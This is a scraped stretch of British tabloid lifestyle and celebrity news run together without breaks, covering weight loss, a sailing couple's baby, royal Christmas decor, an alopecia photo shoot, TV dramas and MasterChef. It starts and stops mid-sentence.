Cooper and even won a prize at dog show Crufts. Admittedly, it was for being the scruffiest dog, laughs Val. Her passion for animals started in childhood. My parents ran a pet shop which they called Valgrays, after me and my brother Graham, she says. Although they didnt sell pets, our home was full of animals. When I left school, I became a veterinary nurse. A t work, however, Val found her heartstrings being pulled by waifs and strays. I ended up bringing loads of animals home, she says. As her reputation spread, Val started her charity later taking a job as a dinner lady to help fund the venture and continued her work while nursing her late mother for five years after she suffered a stroke. Though Val has found forever homes for thousands of animals, she prides herself on being on hand in sad situations, too. I was called by someone who had spotted a dead cat, she recalls. From scanning the body for a microchip, I traced the owner. It was the local vicar. He was heartbroken. This is a woman who finds it impossible to say no to an animal in need whatever the personal cost. Looking at Vals devotion and dedication, who could not regard her as truly inspirational? To nominate a woman who deserves recognition for our Inspirational Women of the Year Awards visit: email inspirationalwomen@dailymail.co.uk or visit dailymail.co.uk/inspirationalwomen See valgraysbcrescue.org.uk A man who was virtually housebound because of his weight have been given a new lease of life after him and his wife lost more than 24st between them. Glyn and Gillian Woodward, who live in Norfolk, realised something had to change when 65-year-old Glyn was told that gastric surgery was his only hope of losing weight and leading a normal life. Over the years, Glyn's weight had risen to 31st 8lbs, meaning that his wife Gill, 63, who also struggled with her weight, had become his full-time carer and began to neglect her own health as a result. Glyn, who has now lost almost 20st, says: 'At my heaviest I had so many weight-related health issues. 'I was classed as three times morbidly obese and just couldn't see a way out. I suffered with chronic sleep apnoea, depression and anxiety. 'To be honest, just existing when you're that size is completely exhausting, and I depended on Gill entirely. 'My doctor told me that gastric surgery was my only hope and that the funding had been approved, but it just didn't sit right with me and I couldn't go through with it. At over 30st Glyn Woodward was classed as three times morbidly obese and struggled to walk unaided But Glyn and his wife Gillian now have a whole new lease of life after he lost 19st 9lbs with Slimming World and Gilliant shed over four stone herself 'I knew in my heart of hearts that surgery wasn't the answer, as it wouldn't give me the tools or support to change my eating habits, nor the psychological side of my weight problem.' After pulling out of his planned weight-loss surgery with just weeks to go, in November 2013 Gillian joined their local Slimming World group in a bid to persuade Glyn to become a member too which he did in August 2014. Gillian previously weighed 12st 12lbs and went on to lose 4st 8lbs, going from a size 18 to a size 8 - but says their journey wasn't easy. She said: 'It was a very tough time for us. Glyn was at an all-time low, he was unable to walk unaided and had resorted to using a wheelchair. 'He was in constant pain and getting around had become so difficult that we'd effectively become prisoners in our own home. 'My weight was steadily rising too, and it was getting to the point that I was struggling to care for Glyn because of the extra weight I was carrying myself. 'I remember one rare occasion that we did venture into town, I parked the car at the top of a hill and pushed Glyn around the shops in his wheelchair. 'Only, when it came to taking him back to the car, I realised I didn't have the strength to push him back up the hill. Gillian previously weighed 12st 12lbs and went on to lose 4st 8lbs, going from a size 18 to a size 8. Pictured: Before (left) and after weight loss with Glyn Glyn's weight struggles saw him suffer chronic sleep apnoea, depression and anxiety, and doctors told him gastric surgery was his only hope. However, Glyn decided surgery wasn't for him and joined the slimming club in a bid to lose weight 'The exertion was so much that I had an asthma attack, and it was only thanks to two passers-by that I managed to get him back to the car. 'Glyn was mortified and I think it really brought it home to him that our quality of life was suffering drastically because of both of our weight struggles.' Glyn was offered a 12-week Countdown course to Slimming World by his GP, yet still needed a little extra persuasion to take the brave step to join for himself. He says: 'I knew that Gill was doing well with Slimming World, but I had so much weight to lose that it just felt completely overwhelming. Gill knew how nervous I was and so asked the Consultant Nicole to give me a call to try and put me at ease a bit. 'She seemed so welcoming and friendly that I eventually plucked up the courage to go along with Gill. I always say that those two wonderful women saved my life I'll be forever grateful to them.' Glyn and Gillian decided that their goal would be to visit Glyn's family in Malaysia, something that wasn't possible when Glyn was in such poor health because of his weight. He says: 'I said to Gill that when I'd lost enough weight I wanted to sit on a beach with her, drinking a cocktail and watching the sun go down. In March 2016 that's exactly what we did. Four years later and Glyn and Gillian have been crowned Slimming World's Couple of the Year 2018 'I still had a way to go to complete my journey, but just being able to fit into an aeroplane seat was a huge achievement for me. I felt like I was giving Gill back the life she deserved.' Gillian adds: 'For so long I neglected my own health because I was so busy caring for Glyn. To be honest I think I was in a bit of denial about my own weight. I'm quite petite so it really took a toll on me and my own health issues, like my asthma. 'Losing weight together definitely helped us to spur each other on and it was wonderful to see Glyn transform into the man I knew and loved, it was like my husband was coming back to me with every stone he lost. 'I had much more confidence too, so by the time we had that magical moment on holiday we were worth both feeling on top of the world.' Now that the couple have both reached their target weights, they've decided to make the most of their new-found passion for walking by retiring on the Norfolk coast. Glyn says: 'I remember the days when I could barely get out of bed unaided, yet now Gill and I think nothing of strolling arm-in-arm along the beach enjoying our new-found coastline. The change in our day-to-day lives really is mind-blowing. 'After losing almost 20st I was left with a lot of excess skin which presented its own issues. Over the past few months I've had several surgeries to make this a little more comfortable for me. 'It's been a long journey but I can think of nothing better than spending the rest of my life freed from my excess weight and enjoying life with my wonderful wife. I feel as though we've both been given a second chance at life and we're going to grab it with both hands.' The pair has now been named Slimming World's Couple of the Year 2018. DIET BEFORE Breakfast: 4-5 slices toast, spread with butter and jam Lunch: Burger, chips and fizzy drink from a fast-food restaurant Dinner: Deep fried meals, or rich meals out in restaurants like steak and deep-fried chips Snacks: Peanuts, crisps, chocolate, pork pies, cake Evening: Glyn would often have a whole block of cheese in a sandwich Advertisement They're the couple circumnavigating the globe on a luxury yacht funded by their YouTube fans. And now, Australian Sailing La Vagabonde bloggers, Elayna Carausu, 26, and Riley Whitelum, 35, have added one more to their motley crew: Lennon. The couple gave birth to little 'Lenny Foster Whitelum' on December 6, announcing the news online this week - and Elayna told FEMAIL that they have no intention of stopping sailing around the world with a baby on board. 'I just can't wait to show Lenny the world,' Elayna told Daily Mail Australia. Scroll down for video And now, Australian Sailing La Vagabonde bloggers, Elayna Carausu, 26, and Riley Whitelum, 35, have given birth to their first child: Lennon (all pictured) The couple gave birth to little 'Lenny Foster Whitelum' on December 6 - and Elayna told FEMAIL that they have no intention of stopping sailing around the world with a baby on board While Elayna and Riley originally had planned to give birth on board the boat, the millennials said they swiftly changed their plans when they realised the potential for things to go wrong While Elayna and Riley originally had planned to give birth on board the boat, the millennials said they swiftly changed their plans when they realised the potential for things to go wrong. 'I knew if everything didn't go as planned we would end up with a 100k bill,' Elayna explained to FEMAIL. Instead, they came back home to Adelaide, where they could be with families and have access to the health system and insurance. The pair have left their boat in South Carolina, where they will pick it up in a month's time with Lennon - they then intend to either sail down the east coast of the USA or back to the Bahamas. Speaking about her gruelling 44-hour labour, Elayna said she started having contractions on December 4, at four days overdue. 'However, because the contractions were just five or six minutes apart I didn't call our midwife, who said to notify her when the surges were about 3-4 minutes apart or if I showed signs of my labour progressing,' she said. They have left their boat in South Carolina, where they will pick it up in a month's time with Lennon - they then intend to either sail down the east coast of the USA or back to the Bahamas While Elayna wanted to give birth at home in water, when Lennon didn't come the couple (pictured) rushed to the hospital for Elayna to give birth 44 hours later The 26-year-old said that 'day soon turned into night and I could no longer sit down as I had to be standing or squatting and holding or leaning on something'. 'He was perfect,' Elayna said of Lennon (pictured) 'At about 10pm, things began to speed up and so we began to prepare the home.' However, it wasn't to be - and still by 5pm the following day, the couple had no Lennon. Despite wanting a home birth in water, 'candles, fairy lights and essential oils burning in a diffuser', Elayna and Riley knew they had to head to the hospital because they knew their baby 'wasn't going to come this way'. 'With the TENS machine attached to my lower back, wires hanging off me, we locked up the house and grabbed our hospital bag,' Elayna said. Several difficult hours later, their baby was born. 'He was perfect,' she said. Less than two weeks after the birth, Elayna confessed that the couple are 'still very much getting used to parenthood', but she added: 'I've never felt so much love in my life' 'Being a mum is the best job in the world,' she added. 'I'm still recovering physically from the event but I am so happy mentally with how everything turned out' Less than two weeks after the birth, Elayna confessed that the couple are 'still very much getting used to parenthood', but she added: 'I've never felt so much love in my life, my heart is just so full'. I can't wait to head back to the boat 'Being a mum is the best job in the world,' she added. 'I'm still recovering physically from the event but I am so happy mentally with how everything turned out and I wouldn't change a thing. 'I feel like I can do anything now. I can't wait to head back to the boat, which is currently over in South Carolina patiently awaiting our return. We leave in a month's time.' The couple intend to raise Lennon on board as they continue to globetrot, supported by the financial aid of their YouTube followers. The couple intend to raise Lennon on board as they continue to globetrot, supported by the financial aid of their YouTube followers Speaking to FEMAIL previously about their adventures and the less glamorous side to sailing around the world on a luxury yacht, Elayna and Riley said it's not all plain sailing Speaking to FEMAIL previously about their adventures and the less glamorous side to sailing around the world on a luxury yacht, Elayna and Riley said it's not all plain sailing. 'It's nothing like what you see in the movies - calm waters, sunshine, champagne, smiles and spotless white clothing,' Elayna laughed. 'The reality of sailing the globe is sleepless nights, unexpected horrible weather, days when you question why you do it all in the first place, and there's NEVER a clean white shirt to wear on board. 'The first six months were the hardest,' she added. 'We were figuring out our roles on board, dividing up the chores and at the same time trying to love and take care of each other. But now, thankfully, the hardest part is well and truly over.' 'The reality of sailing the globe is sleepless nights, unexpected horrible weather, days when you question why you do it all in the first place, and there's NEVER a clean white shirt to wear on board,' Elayna (pictured with Lenny) said 'A wave had thrown Riley off his feet and on impact to his head he had pinched his nerve leading to his left arm,' she explained. 'I remember Riley's entire arm went numb, like it had done when he had first broken his neck in Brazil many years ago. He lay on the floor for hours while we cried and discussed our options. 'An emergency helicopter wouldn't come as far off shore as we were, a container ship diverting course to pick him up would mean I would either have to sail the boat for weeks by myself to the Caribbean, or we'd have to abandon it. 'And turning the boat around to sail against the wind to where we'd left from would be a rough trip and a big no no for a possible broken neck. 'We decided to keep sailing downwards to our destination for another ten days, the entire time thinking that something in his neck holding his spine together may have come apart. 'We didn't know he was okay until Riley had his X-rays done in Antigua. It felt like a narrow escape.' These days, Elayna said they are still making the bulk of their money on Patreon, a crowdfunding website, where family, friends and strangers can donate to their adventures These days, Elayna said they are still making the bulk of their money on Patreon, a crowdfunding website, where family, friends and strangers can donate to their adventures. 'We have over 2000 patrons now who each donate anywhere from $2 to $200 per video that we make,' she said. 'These people are the ones keeping us afloat, helping the videos to keep coming and helping us to grow and learn. 'To be able to call what we do our full-time jobs really is a dream come true. We don't plan to stop sailing any time soon. Riley and I both get itchy feet when we're living on land. We love the feeling of freedom that comes with sailing. 'We haven't managed to circumnavigate the world yet, so that remains a goal for us both.' Crown Princess Mary of Denmark is preparing for a chillier holiday season after spending Christmas 2017 in sunny Australia. And on Monday the royal offered fans a glimpse into the festive palace when she posted a snap of her newly decorated Christmas tree to the Danish royal Instagram account. To add a unique touch to the towering tree, the 46-year-old replaced fairy lights with candles on the branches. Traditional: Crown Princess Mary unveiled her traditional Christmas tree at Amalienborg Palace, and shared her unique alternative to fairy lights by substituting with candles on branches Situated in one of the palace's main living areas, the tree features an array of colourful baubles. A traditional gold star is placed on top, while thin candles on branches are an alternative to fairy lights. It is believed the candles are only lit on Christmas Eve, when the Crown Princess and her family are seated for dinner. 2017: The tree is slightly different to last year's that featured prominently in the Amalienborg Palace The photo was captioned to Instagram: 'Christmas party in the Knights Hall in Frederik VIII's Palace, Amalienborg, here on the third Sunday in advent.' Keeping with the traditional theme, marble side tables feature carefully placed metallic-painted pine cones and gold baubles. Crown Princess Mary will celebrate Christmas with her husband Prince Frederik, 50, and their four children, in Denmark's chillier temperatures. Family: Last year Crown Princess, Prince Frederik [far right] and their brood, Christian, 13, Isabella, 11, Josephine, 7, and Vincent, 7, enjoyed Christmas Day in sunny Australia. Pictured in July in Denmark Australia: The royal couple, along with their children, first arrived in Sydney mid December, where they were pictured on a yacht. They later enjoyed a day at Sydney's Palm Beach, before heading to Tasmania for Christmas Day festivities It's in contrast to last year when the family celebrated Christmas Day in Mary's hometown, Tasmania. The royal couple, along with their children Christian, Isabella, Vincent and Josephine, first arrived in Sydney mid December, where they were pictured on a yacht. They later enjoyed a day at Sydney's Palm Beach, before heading to Tasmania for Christmas Day festivities. Mary first met Prince Frederik during the Sydney 2000 Olympics and later wed in 2004. James Middleton was spotted leaving a star-studded bash in London last night. The Duchess of Cambridge's brother, 31, joined Prince Harry's ex-girlfriend Cressida Bonas, 29, for a sophisticated soiree at A-list favourite Chiltern Firehouse. The pair partied with the likes Lily James, her boyfriend Matt Smith, actor Dominic Cooper and presenter James Corden, all of whom arrived from Scott's restaurant, in Mayfair, where they had celebrated actor Tom Sturridge's 33rd birthday party. Relaxed: The Duchess of Cambridge's younger brother James Middleton donned a blue blazer and chinos for a night at the Chiltern Firehouse in London on Wednesday night Festive classic: Actress Cressida Bonas donned green velvet trousers and leopard print heels for the sophisticated soiree Low-key style: The actress swept her blonde locks up into a half-up bun for the evening Guests including Noel Gallagher and his wife Sara MacDonald also made their way to the after-party at the Chiltern Firehouse. Model Poppy Delevingne and Rose McGowan were also seen heading home. Mr Middleton, who is expected to join parents Carol and Michael at their Berkshire home for Christmas, looked dapper in a blue suit and chinos for the occasion. Festive night out: Mr Middleton, 31, joined celebrities including Noel Gallagher at the hangout Dapper: James made his way to a waiting car after a night of celebrations in London Keeping with a monochrome theme, he finished the outfit with a white and blue patterned top. Actress Cressida opted for a stylish combination of emerald green velvet trousers and leopard print pumps. The society beauty kept her blonde locks in a low-key half-up bun style and added just a touch of sparkly shadow to her lids. Making her exit: Cressida wrapped up in a tweed coat as she headed for a waiting black cab Simple accessories: The society beauty kept her essentials in a black quilted clutch She wrapped up in a thick tweed coat as she left the venue and made her way to a waiting black cab. Downton Abbey star Lily, who arrived with her longtime boyfriend Matt Smith, put on a leggy display in a thigh-skimming patterned sheer short dress, over which she also draped a black coat. James Corden, who is based in Los Angeles from where he hosts his hit eponymous talk show, appeared to also be back home for the holidays as he joined the group. Ella Chadwick melted the hearts of Good Morning Britain viewers on Thursday during her energetic interview. The 11-year-old was born with congenital nephrotic syndrome, a rare kidney disease, and stole the show when she won the Child of Courage award at the Pride of Britain ceremony in October. Appearing on GMB, Ella, from Rochdale, spoke about how she had delivered Christmas cards to the elderly at a care home in Manchester, saying it was an 'amazing' experience. The show surprised her with a visit from Basil Brush who delivered her a special Christmas present as she dissolved into giggles. The heart-warming segment had GMB viewers in tears, with one saying: 'This made my morning!' Ella Chadwick, 11, (pictured on Good Morning Britain on Thursday) was born with congenital nephrotic syndrome, a rare kidney disease and won a Pride of Britain Award for all her charity work in October Ella delivered Christmas cards to the elderly at a care home in Manchester (pictured), which she said was an 'amazing' experience Ella was on dialysis for six years and has undergone more than 40 operations, including a kidney transplant operation, which was donated by her grandmother. She has diabetes and is dependent on a walking frame and a wheelchair. This Christmas - which she says is her favourite time of year - Ella delivered two bags full of cards to the elderly to help them feel better. Ella said: 'When I was a little baby, I though all the children were sick and ill so I thought I could make a card. I just did it and they got well again.' Viewers were smitten with Ella and her upbeat appearance on the show. The heart-warming segment had GMB viewers on Twitter in tears (pictured), with one saying: 'This made my morning!' WHAT IS NEPHROTIC SYNDROME? The kidneys of people with nephrotic syndrome do not work properly, causing large amounts of protein to leak into their urine. It can affect people of any age, but it is often first detected in children aged between two and five years old. The loss of protein can cause a range of problems, including swelling of body tissues and increase a person's chance of catching infections. Symptoms can be controlled by medication. Children with the condition have times where their condition is under control, when they are in remission. A small number of children have congenital nephrotic syndrome, which means it is inherited. Congenital nephrotic syndrome is caused by an inherited faulty gene. For the condition to be passed on, both parents must have a healthy copy of the gene and a faulty one. They then have a one in four chance that any children will develop the condition. Nephrotic syndrome can affect people of any age, but it is commonly seen in young children.It affects more boys than girls. Only about one in every 50,000 children are diagnosed with the condition each year. Source: NHS Choices Advertisement One tweeted: 'Ella Chapman is the absolute epitome of Christmas joy. Seeing her hug Basil Brush has made my morning.' 'Crying just as I leave the house. Cheers #GMB beautiful @ellachadwick1,' another posted. A third wrote: 'I think #EllaCHadwick should be on #GMB every morning. What a beautiful little ray of sunshine she is!' Ella was born with the rare congenital nephrotic syndrome, and had both of her kidneys removed when she was 19 months old. She has dedicated her time to raising donations for the Royal Manchester Children's Hospital where she received her life-saving operation and has managed to raise 5,000 in total. In May 2015, just a year after her transplant, she took part in Mini Greater Manchester Run and completed the whole course. On her tenth birthday she set herself the challenge of running 10km of races in a year, which she achieved this summer. Good Morning Britain thanked her for all her hard work by giving a Princess Jasmine doll, which was presented to her by Basil Brush. Ella was thrilled, saying 'Yay, Jasmine!' when she unwrapped the gift. She gave Basil Brush's fur a stroke and said 'Merry Christmas, my friend.' Ella said she was excited for Christmas because she loves getting 'lots of presents'. Ella (pictured in hospital) was on dialysis for six years and has undergone more than 40 operations, including a kidney transplant operation She raises money Royal Manchester Children's Hospital where she received her life-saving operation and has managed to raise 5,000 in total. Pictured: Ella on Good Morning Britain on Thursday She explained: 'When it's Christmas you get lots of presents and you might say 'Merry Christmas everybody,' because it's starting a year of the Jesus.' She was on the show with her mother Karen Hughes, who revealed her pride in all of Ella's charity work and success. Karen said: 'You don't unsee or unhear things that have happened and that stays with you forever to see her on that [Pride of Britain} stage. 'I've watched it for years and you see and hear some amazing stories. As a mum, she's amazing, but you never think she'd be there. For her to get that recognition, it was deserved.' France will maintain its participation in the coalition fighting ISIL forces in Syria, a government minister said on Dec. 20 after President Donald Trump surprised Washington's allies by ordering US troops home, Hurriyet Daily News reported. "For now of course we remain in Syria," France's European Affairs Minister Nathalie Loiseau said on CNews television, adding "the fight against terrorism is not over." A photographer has transformed a group of women with alopecia into glamorous lingerie models to show that bald is beautiful. Chrissy Sparks, from Birmingham, hopes her new project will show that women can look gorgeous without matching conventional beauty standards. She and her stylist Nav Soroya spent hours transforming each of the alopecia sufferers, most of which developed the condition in childhood. Despite never being pictured without their wigs on before, they embraced their hairlessness for the seductive snaps - and were left wowed by their own transformations. Natasha Lachs, 34, who lives in Northumberland, said: 'I have had alopecia since I was seven. I never really liked looking at pictures of myself, and I would also never dream of having my pictures taken without my wig on. Chrissy Sparks, from Birmingham, transformed a group of women with alopecia into glamorous lingerie models for this shoot to show that bald is beautiful. Pictured: Danielle Atkins Danielle, who has suffered from the condition since she was seven and has never been pictured without her wigs, said: 'Before the shoot I felt that because we don't fit the typical stereotype of beauty that we can't model or be within the beauty industry. But the shoot shows that we too can be as beautiful as the commercial models you see in the media' Chrissy and her stylist Nav Soroya spent hours transforming each of the women. The pair teamed up with Panache, a group that aims to raise awareness and support for people who suffer with hair loss, for the shoot. Pictured: Shannon Grimson, 24 'I usually feel unfeminine without my hair, however when I saw these DollHouse pictures I actually cried. 'I was overwhelmed with how beautiful I actually looked. Who would have thought I could look sexy without my wig on! They have made me feel like a million dollars.' Chrissy, 35, opened her studio DollHouse Photography five years ago, and has taken pictures of thousands of women of all shapes and sizes since then. She wanted the shoot to make the women feel stylish and show that any insecurities they had didn't matter. Chrissy said: 'My stylist Nav Soroya and I wanted to show how women can look glamorous without fitting the typical beauty stereotype you tend to see in the media - and we wanted to support the unconventional beauty standards. Natasha Lachs, pictured, actually cried when she saw the finished photographs from the shoot Natasha, 34, said: 'I was overwhelmed with how beautiful I actually looked. Who would have thought I could look sexy without my wig on!' Photographer Chrissy, 35, said: 'My stylist Nav Soroya and I wanted to show how women can look glamorous without fitting the typical beauty stereotype you tend to see in the media - and we wanted to support the unconventional beauty standards.' Pictured: Carer Nicola Watson, 41 Student Danielle, pictured, loves using makeup, clothes and wigs to transform herself but says the shoot was the first time she felt amazing without her wig on 'Not only this, but we also wanted to show women how we can successfully style and photograph our clients regardless of any physical concerns - after all, we all have them and, for us, it is gratifying for these insecurities not to inhibit the success of a shoot.' The final photographs were certainly worthy of magazine covers, and the shoot left the women feeling amazing. Student Danielle Atkins, 20, from Newcastle, said: 'I've had alopecia since I was two. 'It started with a tiny patch on the top of my head which was dismissed as "baby alopecia" which would go away. 'However, it never did. I was utterly amazed when I saw the final DollHouse images! I absolutely loved them and it definitely shows that bald can be beautiful and sexy. The condition affects around two in every 1,000 people, and in most cases the hair grows back within a few months. Pictured: Shannon Grimson Chrissy wants the women in her studio to feel 'utterly spoilt' and make them look their most beautiful. Pictured: Danielle Atkins 'I love transforming myself with makeup, clothes and wigs, but this was the first time with the wig off, I felt amazing. 'Before the shoot I felt that because we don't fit the typical stereotype of beauty that we can't model or be within the beauty industry. 'But the shoot shows that we too can be as beautiful as the commercial models you see in the media.' What is alopecia? Alopecia Areata affects two people in every 1,000 in the UK. The condition is caused by a problem with the immune system and causes bald patches on the scalp, around the size of a large coin. In most cases, the hair grows back within a few months. The hair loss can happen at any point, although it is most common in people age 15-29. This condition can cause severe emotional distress, with a study on Alopecia UK reporting that it causes dramatic and devastating emotions in patients, which can negatively impact their self-esteem, body image and self-confidence. Advertisement Chrissy's studio boasts an impressive wardrobe, with 200,000 worth of lingerie sets, corsets, basques, gowns, dresses, accessories, costumes and furniture, which she used for the shoot. She said: 'I'm a great supporter of body confidence, and so at our studio we make the client feel relaxed and comfortable during the shoot. 'We involve and encourage the client in their styling and make-up; we have a magnificent range of lingerie, clothes, accessories and props at our client's disposal. 'Once the make-up and hair is done, we guide the models with their poses and facial expressions. 'We want all women to feel utterly spoilt and make her feel and look her most beautiful.' For this project, Chrissy teamed up with Panache, a group that aims to raise awareness and support for people who suffer with hair loss. A spokesperson for Panache said: 'We want men, women, and children to know that bald is beautiful too, and that you're 100% not alone on this journey, we are here for you. 'We aim to bring the hair loss community together. Our vision is to create a hub for the hair loss community to feel comfortable, supported, find friendship and no longer feel isolated.' The latest episode of BBC1 period drama The Long Song left viewers wide-eyed after a series of steamy clinches and charged innuendos about 'hot pepper pickle'. The pre-Christmas three-parter documents the tangled relationships between plantation owners, slaves and abolitionists in 19th century Jamaica. The balmy Jamaican weather wasn't the only heat on screen as last night's episode saw Robert Goodwin (Jack Lowden) waltz into town and quickly put himself in the midst of a love triangle between slave Miss July (Tamara Lawrance) and obnoxious plantation owner Caroline Mortimer (Hayley Atwell). Scroll down for video The second episode of three-part slavery period drama The Long Song on BBC1 saw Briton Robert Goodwin (Jack Lowden) arrive at the Amity plantation and promptly seduce Miss July (Tamara Lawrance) Viewers called the passionate love scenes between the couple, who kept their love under wraps, 'hot' The clandestine encounter ends abruptly when Goodwin decides that he promised his father he would never 'abuse' his position in the Caribbean...but his willpower doesn't last long As Robert falls head over heels for Miss July, the sexual chemistry played out in a series of saucy scenes, with the couple finally giving in to their ardour...and then speaking in innuendos as they tried to conceal their passion. Viewers took to Twitter when the pepper innuendos got too much. @dinky1201 wrote: 'Who knew there could be so much innuendo in pickle?!' @SianJasper added: '"Id like to taste her hot pepper pickle" Double entendres in this are on form!' @SallyTarpy73 penned: 'I dont think hes really talking about hot pepper pickle #thelongsong' and @MoniqueOnyxx added: 'Hot pepper pickle #TheLongSong Im dying.' @tookybaby cooed: 'Robert and miss July clandestine sex talk is hilarious... this show gives you all kinds of feelings.' Tensions between the two simmer before finally their resistance breaks...and Robert decides marrying Miss July's mistress, Caroline Mortimer, is the only way to keep their love alive Hayley Atwell, right, plays plantation owner Caroline Mortimer, who takes slave Miss July, (Tamara Lawrance) to be her personal maid in the years leading up to the abolition of slavery in 19th century Jamaica West Country or West Indies? Sir Lenny Henry (pictured) who stars as plantation worker Godfrey in the new BBC drama The Long Story was criticised for his Jamaican accent by viewers tuning in to the first episode However, in spite of the passionate scenes between the couple, in which Goodwin tries desperately to resist Miss July but eventually caves in to their attraction, viewers were ultimately left devastated by Goodwin's true colours. Concocting a plan so he could be with his love, he decides to marry Caroline Mortimer, the mistress July has worked for since her childhood. Television vicar Rev Richard Coles branded Goodwin a 's***' on Twitter with plenty agreeing that his 'plan' was simply cruel. The first episode of the period drama sparked comments about the cast's accents, with many saying they were distracted from the hard-hitting plot by the 'fake' Jamaican lilt. @PaaWOWW joked: 'Lenny Henrys Jamaican accent is about as Jamaican as Jamie Olivers jerk rice #TheLongSong', a reference to the accusations of cultural appropriation that chef Oliver faced after he put his name to a version of the Jamaican staple. @MrsAwesomeSauc added: 'Many Multi-Talented Jamaicans Out Here.....Why The Fake Accent Again?' @whowatme added: '@LennyHenry @VisitJamaicaNow Lenny Henrys Patois mixed with his Black Country accent.' MasterChef The Professionals judge Marcus Wareing has defended accusations from viewers of this year's show that the final is fixed, after favourite Matthew Ryle made a shock exit ahead of the grand final. The Michelin-starred chef took to Twitter following the penultimate show of the popular cooking competition aired last night, after animated fans called Matthew's tearful departure 'a bl**** travesty' and said it made a 'mockery' of the BBC2 programme. Wareing, 48, wrote: 'I really do need to put something out there @MasterChefUK is not a fix trust me. 'We can only judge the dish put in front of us, we love these guys as much as you do, its not a personality contest its a cooking competition at the highest level...' Hot in the Twitter kitchen! MasterChef The Professionals judge Marcus Wareing took to social media last night after the departure of Matthew Ryle, 24, prompted an explosion of tweets accusing the show's makers of 'rigging' the results. Wareing told fans: 'Trust me, it's not a fix' A distraught Matthew after being served up a disappointing verdict on his food by the judges, Matthew has been a fan favourite since the show started in early November. The young chef cooked a braised turbot dish...but Marcus branded it 'weak' Where it all went wrong: The dish, served in a shell and accompanied by 'sounds of the sea' didn't impress judges Wareing, Monica Galetti and Gregg Wallace A red-eyed Matthew faced the cameras in floods of tears after having his dream of becoming the MasterChef The Professionals champion for 2018 crushed 'Oh I cant cope with masterchef poor Matthew crying' The sight of the 24-year-old in tears proved too much for some viewers It was a swift riposte to those who has been left 'heartbroken' at the departure of Matthew, 24, leaving many claiming that a final without him made a 'mockery of the whole competition'. The young chef broke down in tears after being told that his braised turbot, with cockles, clams and mussels - and accompanying 'sounds of the sea' music - was a 'weak dish'. Social media erupted after Matthew wept. @RachFletcher wrote: 'That decision makes a mockery of the whole competition. Hes been 100 per cent all the way through #MasterChefTheProfessionals' @Hm8g10762 penned: 'Bl**** hell #MasterChefTheProfessionals that seems like an error. Did yesterday count for nothing? Matthew is definitely one to watch for the future.' The show has whittled down 48 chefs to just three, with Matthew devastated not to make the final cut @jollygoodbrew agreed, writing: '#MasterChefTheProfessionals whats the point in spending weeks watching the competition to find the best chef when you send him home on the back of one dish?' For others, the sight of Matthew with red eyes was too much. @MELISSAGORDON11 wrote: 'Oh I cant cope with masterchef poor Matthew crying.' @nasibutt surmised the sentiments being felt by many: 'You guys have seriously upset the nation tonight!! Matthew was the best throughout!!! Laurence now to win for me...' Finalists Oli, Laurence and Dean will now battle for the top prize in the final episode, and got to spend several days in the stellar surrounds of three Michelin-starred chef Anne Sophie Pic's restaurant in Valance, France. The show has been mired in controversy in recent weeks with fellow judge Monica Galetti hitting back at critics this week on the issue of diversity. Top chef Monica Galetti issued a strongly worded response to a critic who had suggested that MasterChef The Professionals isn't diverse enough; the show features an all white male final for the fourth time in six years in 2018 It is the fourth time in six years that all the finalists have been white men on the cookery show. However, judge Monica Galetti issued a scathing response on Twitter to the criticism, telling one viewer they needed to 'check themselves' before making 's*** up'. After user @jok4p wrote: 'It's really rather hard not to point out how the masterchef finalists are all men...White men! #racist #sexist' Respected chef Galetti, 43, fired back: 'Are you referring to me in this tweet? As one of the Chef judges on Mastercheftheprofessionals that is coloured and a woman I find this insulting. 'Check yourself... and maybe use your voice to stand up for something that really needs it, not making up s*** that isnt true.' Giovanna Fletcher has revealed she felt like a 'cow with udders' when she first started expressing her breastmilk. The writer and her husband McFly star Tom, both 33, who are already parents to Buzz, four, and Buddy, two, welcomed their youngest son Max in August. And the mother-of-three has now praised actress Rachel McAdams for posing with two breast milk pumps, before admitting that nothing could have prepared her for that part of motherhood. Taking to her Instagram account after the release of McAdams' cover shoot for Girls Girls Girls magazine this week, the mother-of-three made a frank confession in a post that has already been liked over 50,000 times. Giovanna Fletcher, seen with third son Max, four months, has revealed she felt like a 'cow with udders' when she first started expressing her breastmilk Sharing a picture of actress McAdams, who welcomed her first son with screenwriter boyfriend Jamie Linden in April, Giovanna wrote: 'As Ive said many times before, motherhood is a leveller! 'This shot of Rachel McAdams is so powerful, I cant stop thinking about it. 'Expressing milk is something I knew nothing about before becoming a mum. When I first did it I felt like a cow with udders.' She continued: 'I still feel like that at times but three babies in and Ive got used to the grrr grrrr grrrr of the pump and just get on with it. Ive also discovered a haakaa, which is silent and surprisingly brilliant for less than a tenner. (sic)' Admitting that being a working mother is tough, she added: 'Fed is best, and breastfeeding works for us - that said, nothing prepared me for the amount of stock rooms and toilets Id be getting my baps out in when away working. 'Its great having this picture start such a big conversation around working mums and our milk supply'. Rachel posed for the image wearing a Versace blazer and Bulgari diamonds, in an image shared by Magazine founder Claire Rothstein this week, highlighting the importance of normalising breastfeedfing Rachel posed for the image wearing a Versace blazer and Bulgari diamonds, in an image shared by Magazine founder Claire Rothstein this week. Claire explained the meaning behind the picture, highlighting the importance of normalising breastfeeding. She wrote: 'Obviously #rachelmcadams looks incredible and was quite literally the dream to work with but also this shoot was about 6 months post her giving birth to her son, so between shots she was expressing/pumping as still breastfeeding. Claire continued: 'Breastfeeding is the most normal thing in the world, like breathing and I cant for the life of me imagine why or how it is ever frowned upon or scared of. 'I dont even think it needs explaining but just wanted to put this out there, as if it even changes one persons perception of something so natural, so normal, so amazing then thats great. 'Side note: I did not look anywhere near as fabulous as this when feeding/pumping. And thats ok too.' Giovanna and her husband McFly star Tom, both 33, who are already parents to Buzz, four, and Buddy, two, welcomed their youngest son Max in August, all seen above Giovanna praised Rachel McAdams for posing with two breast milk pumps, before admitting that nothing could have prepared her for that part of motherhood And the message clearly struck a chord with family-oriented Giovanna, who has shared her journey to motherhood with her 1.1 million followers. Giovanna and Tom have been together since the tender age of 20, and first met at the Sylvia Young Theatre School aged just 13. Tom proposed to Giovanna at the school in April 2011 after he lured her there under the pretence he was filming a documentary about his life. A year later the pair married, with Tom's McFly bandmates and Mario as best men at their intimate family wedding in London. During their first two pregnancies, Fletcher and Giovanna took pictures every day throughout the 9 months to show her bump blossoming. As well as newborn Max Mario, they are also parents to Buzz Michelangelo Fletcher, 4, and Buddy Bob Fletcher, 2. Giovanna and Tom are seen as one of the most solid couples in showbiz, however Tom previously opened up about living with depression for five years. After seeking help in rehab and with medication, the McBusted star revealed that becoming a father to Buzz that finally helped him overcome the illness. 'Expressing milk is something I knew nothing about before becoming a mum. When I first 